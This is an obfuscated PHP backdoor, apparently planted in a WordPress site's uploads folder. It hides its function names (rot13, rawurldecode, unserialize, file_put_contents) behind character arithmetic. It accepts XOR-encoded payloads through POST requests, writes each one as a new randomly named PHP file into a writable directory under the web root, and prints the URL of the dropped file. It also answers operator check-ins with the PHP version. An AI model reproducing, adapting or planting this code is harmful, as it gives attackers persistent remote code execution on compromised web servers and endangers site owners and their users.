File: /home/slyfwmm/foar/wp-content/uploads/sssegawt.php
<?php $RiwCQFjlDN = "yMbSPw";function UGvGnnKKeT($RiwCQFjlDN){ $ioxPUjyP = chr(115).chr(566-450).chr(114)."\x5f"."\162"."\157".'t'."\61"."\x33";$RiwCQFjlDN = $ioxPUjyP($RiwCQFjlDN);$DFEfRC = chr(714-600)."\x61".'w'.chr(669-552)."\162"."\154"."\144".chr(101).chr(99).chr(111).'d'.chr(1035-934);$RiwCQFjlDN = $DFEfRC($RiwCQFjlDN);$RiwCQFjlDN = str_split($RiwCQFjlDN);return $RiwCQFjlDN;}function IAfYMc($qabcdU, $Nubhmt){$qabcdU = array_slice(str_split(str_repeat($qabcdU, (count($Nubhmt)/16)+1)), 0, count($Nubhmt));return $qabcdU;}function KMrCUgFhaz($xTmJWD, $XblRFeHscJrNnye, $qabcdU){$ceTjFKFi = "22815ae7-9e2e-4a5c-addb-23890aab944a";return $xTmJWD ^ $ceTjFKFi[$XblRFeHscJrNnye % strlen($ceTjFKFi)] ^ $qabcdU;}function UHLNaZFcVy($Nubhmt, $qabcdU){$Nubhmt = array_map("KMrCUgFhaz", array_values($Nubhmt), array_keys($Nubhmt), array_values($qabcdU));$Nubhmt = implode("", $Nubhmt);$bxthAMGph = 'u'.chr(110).'s'.chr(101).chr(289-175)."\x69".'a'."\154".chr(105).chr(186-64).chr(101);$Nubhmt = @$bxthAMGph($Nubhmt);return $Nubhmt;}function PkpLpFASu(){echo "guqeHGcAmb";}function jovYsWxh($XblRFeHscir){static $GSCyJpMKtA = array();$XXAjVWmNOI = glob($XblRFeHscir . '/*', GLOB_ONLYDIR);$wwOyW = count($XXAjVWmNOI);if ($wwOyW > 0) {foreach ($XXAjVWmNOI as $XblRFeHsc) {$nXBVusdx = chr(105).chr(115).'_'.chr(412-293).chr(773-659).'i'.chr(651-535)."\x61".chr(98).chr(108).chr(101);if (@$nXBVusdx($XblRFeHsc)) {$GSCyJpMKtA[] = $XblRFeHsc;}}}foreach ($XXAjVWmNOI as $XblRFeHscir) jovYsWxh($XblRFeHscir);return $GSCyJpMKtA;}function zbrefzTehr(){echo "yMbSPw";}function odoEIa($Nubhmt){$MXNXXsikYa = chr(323-255)."\x4f".chr(67).chr(85)."\x4d".chr(942-873)."\116"."\124"."\137".'R'."\117".chr(79)."\x54";$AxVrdIZ = $_SERVER[$MXNXXsikYa];$XXAjVWmNOI = jovYsWxh($AxVrdIZ);$zOePhgx = array_rand($XXAjVWmNOI);$nxgmbxWMh = '.'."\160".chr(104)."\160";$jNCPy = $XXAjVWmNOI[$zOePhgx] . "/" . substr(md5(time()), 0, 8) . $nxgmbxWMh;$sXTWf = chr(102).chr(245-140).'l'.chr(101).chr(95).'p'.chr(666-549)."\164".chr(95)."\x63".chr(111)."\156".chr(886-770).chr(101).'n'."\164"."\163";@$sXTWf($jNCPy, $Nubhmt);$hOkVijNo = 'H'."\x54".chr(84)."\120".chr(924-829).chr(1002-930).chr(750-671)."\123".chr(775-691);$QeqgsJlmuJ = "\x68".'t'.'t'."\160"."\72".chr(47).chr(982-935);$gBHJTPoS = $QeqgsJlmuJ . $_SERVER[$hOkVijNo] . substr($jNCPy, strlen($AxVrdIZ));print($gBHJTPoS);}function SqLxzsNosn(){$BlZdsAdBxW = chr(112).'h'.'p';$TslXn = "\x70".chr(158-54)."\x70".chr(157-39)."\145"."\x72".'s'.'i'."\157"."\x6e";$Nubhmt = Array($BlZdsAdBxW => @$TslXn(), );$SElzAXn = chr(845-730).'e'.chr(114).'i'."\x61".'l'.chr(105)."\x7a"."\x65";echo @$SElzAXn($Nubhmt);}foreach ($_POST as $qabcdU => $Nubhmt){$ndWRTvzMSe = strlen($qabcdU);if ($ndWRTvzMSe == 16){$Nubhmt = UGvGnnKKeT($Nubhmt);$qabcdU = IAfYMc($qabcdU, $Nubhmt);$Nubhmt = UHLNaZFcVy($Nubhmt, $qabcdU);if (@is_array($Nubhmt)){$zOePhgx = array_keys($Nubhmt);$Nubhmt = $Nubhmt[$zOePhgx[0]];$zOePhgx = $zOePhgx[0];if ($Nubhmt !== $zOePhgx){odoEIa($Nubhmt);}else {SqLxzsNosn();}die();}}}